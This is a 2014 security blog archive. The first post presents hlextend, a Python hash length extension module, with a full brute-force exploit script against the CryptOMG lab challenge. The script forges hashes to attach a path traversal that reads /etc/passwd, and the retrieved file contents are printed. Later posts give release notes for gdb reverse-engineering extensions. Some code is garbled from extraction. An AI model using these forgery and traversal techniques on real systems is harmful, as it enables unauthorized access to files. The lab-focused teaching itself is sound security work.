Saturday, August 23, 2014

hlextend Pure Python hash length extension module


Ive been spending some time recently looking at various types of cryptographic vulnerabilities, trying to work out more efficient ways of identifying and exploiting them during penetration tests.

Hash length extension attacks are one of the vulnerability classes I have been looking at, and while I'm aware of and have played round with other tools such as Hashpump and hash_extender, I really wanted something that I could easily make use of in various Python scripts, as well as perhaps Python based Burp extensions.  To that end, I wrote my own pure Python module, hlextend.

In this initial version, hlextend only supports the vulnerable SHA1 and SHA2 hashes, sha1, sha256 and sha512.  I plan to add MD5 support in the next version. The module is based on the SlowSha implementation by Stefano Palazzo, so it is slower than various compiled implementations, however it is fast enough for the uses I had in mind.

The module is available on GitHub.


Basic usage involves copying the module file into your Python path (or the present working directory when running a script that uses it), importing it, and using the 'new', 'extend' and 'hexdigest' functions to create an instance of your algorithm, use the extension functionality and printout the new hash.

For a more detailed example, assume an application you are attacking uses a known hash generated from an unknown secret value concatenated with a known user provided value to check the integrity of the user provided value - perhaps to ensure it has not been modified from an allowed set of values. You want to be able to produce a new valid hash after appending additional data to the known value, allowing you to change the data while still passing the integrity check function.

If the hash algorithm used is vulnerable, it is possible to achieve this without knowing the secret value as long as you know (or can guess, perhaps by brute force) the length of that secret value. This is called a hash length extension attack.

Assume the application creates a sha1 hash value of '52e98441017043eee154a6d1af98c5e0efab055c', by concatenating an unknown secret of length 10 and known data of 'hello'. You wish to append the text 'file' after 'hello' and also provide a valid hash back to the application that it will produce when it concatenates your provided value (which will include the string 'hello' followed by 'file') with its secret. You would do the following to perform the attack:
    stephen@stoat:~$ python
    Python 2.7.3 (default, Feb 27 2014, 19:58:35)
    [GCC 4.6.3] on linux2
    Type "help", "copyright", "credits" or "license" for more information.
    >>> import hlextend
    >>> sha ='sha1')
    >>> print sha.extend('file', 'hello', 10, '52e98441017043eee154a6d1af98c5e0efab055c')
    >>> print sha.hexdigest()

 The unknown secret (of length 10), that when hashed appended with 'hello' produces a SHA1 hash of '52e98441017043eee154a6d1af98c5e0efab055c', will then produce a SHA1 hash of 'c60fa7de0860d4048a3bfb36b70299a95e6587c9' when appended with the output from the extend function above.

You may notice that the new value produced above contains a lot of additional data between the 'hello' and the 'file' - this is hex encoded padding data used by the hash algorithm that needs to be integrated into the hashed data in order for the attack to work - so strictly speaking you can't specify the EXACT value to append, only what comes after the padding, but under the right circumstances you can make the application ignore this extra padding.

If you don't know the exact length of the secret value, brute forcing the value by trying multiple different lengths can sometimes be possible, depending on the application.

Example Attack

If you want a practical demonstration of the brute force approach, below is an example Python script that can exploit the CryptOMG hash length extension vulnerability in Challenge 5. For this challenge, the application is using a hash, sent with each file request, to confirm that the file being requested by the user is one that the user is allowed to access.  An example URL looks like the following:

The hash value is generated by concatenating a secret value known to the application, with the filename that the user requests in the 'file' parameter (the filename is 'hello' in the above URL).  Including the secret value within the hash generation process prevents an attacker from easily changing the 'file' value, and then just generating a new valid hash to send to the application themselves.  The application, however, is vulnerable to a hash length extension attack, allowing the attacker to brute force a valid hash for a changed value of the file parameter, by trying multiple possible lengths for the initial secret (a fact unknown to the attacker). This can be done WITHOUT ever having to know the actual secret itself.

The goal of Challenge 5 in CryptOMG is to read the /etc/passwd file, via bypassing the hash integrity check on the file parameter. This is what the script below will automate using the hlextend module to generate the extended hash values.

To use this script, install your own instance of CryptOMG and edit the 'site' parameter on line 11 to point to your instance of CryptOMG. The values for hashAlg, startHash and fileName are all taken from the URL parameters of the application after changing the algorithm to 'sha1' and selecting the 'hello' file from the menu on the left, and shouldn't need to be changed.

#!/usr/bin/env python
# Brute forcing script to solve CryptOMG Challenge 5 using hlextend Hash Length Extension Python module
from urllib import quote
import requests
import socket
import sys
import time
from HTMLParser import HTMLParser
import hlextend

site ='' 
hashAlg = 'sha1'
startHash = '93e8aee4ec259392da7c273b05e29f4595c5b9c6'
fileName = 'hello'

appendData = '../../../../../../../../../../../../../../etc/passwd'
params = { 'algo' : hashAlg }

#cookies = { 'PHPSESSID' : '710jkfcq2t29us8u56ag5oii55' }
#proxies = { 'http' : '',  'https' : '' } 

    proxies = {}

    cookies = {}

reqsettings = { 'proxies' : proxies, 'stream' : False, 'timeout' : 5, 'verify' : False, 'cookies' : cookies }

class HParser(HTMLParser):
    '''HTML parser to extract from div:content and h1 tags'''

    def __init__(self):
        global inHtag
        global inDtag
        self.outData = ''
        self.divData = ''
        inHtag = False
        inDtag = False

    def handle_starttag(self, tag, attrs):
        global inHtag
        global inDtag

        if tag == 'h1':
            inHtag = True
        elif tag == 'div':
            if (self.get_starttag_text().find('content') > -1):
                inDtag = True
    def handle_endtag(self, tag):
        global inHtag
        global inDtag

        if tag == "h1":
            inHtag = False
        elif tag == "div":
            inDtag = False

    def handle_data(self, data):
        global inHtag
        global inDtag

        if inHtag:
            self.outData = self.outData + data
        elif inDtag:
            self.divData = self.divData + data

    def close(self):
        return [ self.outData, self.divData ]

sessions = requests.Session()

for length in xrange(3, 60):
    sha =
    append = sha.extend(appendData, fileName, length, startHash, raw=True)
    newHash = sha.hexdigest()

    params['file'] = append
    params['hash'] = newHash
    reqsettings['params'] = params

    while 1:
            response = sessions.get(site, **reqsettings)
        except (socket.error, requests.exceptions.RequestException):

    parser = HParser()
    [ out, divdata ] = parser.close()
    noResult = False
    if out.find('File not found') > -1:
        noResult = True

    if not noResult:
        print 'Length of secret: ' +  str(length)
        print 'Parameter value for file: ' +  quote(append)
        print 'Parameter value for hash: ' + newHash
        print 'File contents: '
        print divdata[6:]

Here is the output when I run the script on CryptOMG installed on a Metasploitable box:
    stephen@wolverine:~/code/hlextend-extra$ ./
    Length of secret: 34
    Parameter value for file: hello%80%018../../../../../../../../../../../../../../etc/passwd
    Parameter value for hash: 1dcac9735aab91cd8c2433f5c55bed91ab167114
    File contents:
    list:x:38:38:Mailing List Manager:/var/list:/bin/sh
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
    postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
    mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
    user:x:1001:1001:just a user,111,,:/home/user:/bin/bash

Get it!

You can download the module on GitHub here.

Sunday, May 4, 2014

Python gdb Disassembly Extension 1.20

Ive released version 1.20 of my Python gdb Debugging Extensions, which I have now renamed to pygdbdis.

The introductory page for the extensions is here if you want to refresh your memory on what it does.

For a basic overview: The extensions are intended for those of us who use gdb to debug applications without the source - e.g. for reverse engineering, exploit development, etc.  They contain a number of helper functions that allow you to easily view the program state in a familiar and easy to use fashion, with string reading, hexdump memory reading, stack viewing, register printout with pointer dereferencing, etc.

The extensions are tested to work on Mac OSX and Linux with a version of gdb that supports Python (get the macports version of gdb for OSX). The supported targets are x86 and amd_x86_64 processes. Use the 'printextensionhelp' command to show valid commands.  Use 'source /path/to/' in gdb to load the extensions, and you can now autoload them by placing this same line in your gdbinit file (e.g. ~/.gdbinit).

To use the 'fifodisplay' command display to get contextual information about the debugees execution state whenever gdb stops, have a multi paned terminal app with at least three other open terminals, then run the 'fifodisplay' command and follow the prompts to create listeners for the various fifos in the other terminals.

Heres a screenshot of what the fifodisplay output looks like using iTerm2 on OSX.  In the top left pane is the disassembly display fifo, the top right is the register display fifo and the bottom right is the stack display fifo.

The changes in this version:
  • Numerous bug fixes
  • Name change
  • Improvements to the output and functioning of search commands. I still haven't been able to get rid of the memory read warnings, they seem to be a gdb 'feature' you cant disable, although I have moved all of the useful output of the commands to after the warnings appear
  • Exposed a number of user configurable settings that can be changed and viewed with the 'changeextensionsetting' and 'printextensionsettings' commands
  • Cleaned up fifodisplay output to hopefully prevent inappropriate line wrapping in the fifo displays. The fifo output can also be managed to some extent using height and width parameters exposed as user configurable settings
  • Added a by default option to not remove fifodisplay fifos on restart/exit. This functionality was introduced in version 1.10, and can be re-enabled using 'changeextensionsetting'
  • Added a 'setbreakpointatentry' command to set a breakpoint at the entry point of the program. By default this action is also performed automatically when a new objfile is loaded into the debugger, but this can be disabled if you desire
  • Made the 'printextensionhelp' command autodocument the configure gdb commands in the program using the class docstrings.  This means if you add a new command of your own it will be automatically listed in 'printextensionhelp' output with a description defined by the class docstring
  • Removed the ns command, as it was buggy and largely unnecessary
  • Improved the initialisation process for the script, now allowing the extension to be loaded from .gdbinit and allowing reconfiguration of the architecture specific settings if a new objfile is loaded
Download here:

Sunday, March 23, 2014

GDB Extensions 1.10

Here's a new version (1.10) of my gdb extensions. See the original post here to read about what they are and what they do.

  • Many bug fixes (oh so many bugfixes)
  • The fifo files for the fifodisplay command have been moved off to the /tmp/ directory instead of the present working directory. There's a variable near the top of the script you can change to move this elsewhere if desired
  • The fifodisplay command now has a more functional "stop" feature that cleans up the fifo files and properly removes the gdb stop handler
  • The 'stop' feature of fifodisplay will also run automatically on an exited gdb event, cleaning up after itself when (for example) you finish your gdb session
  • The fifodisplay command has been modified to be a bit easier to use. It now prompts you to create the appropriate fifo listeners when the command is first run
  • A new 'printextensionhelp' command has been added to print out a list of all the commands added with the extension, as well as the purpose of each command

Thanks to deathjest3r who provided some of the suggestions for improvement that have made it into this new version.

Download link.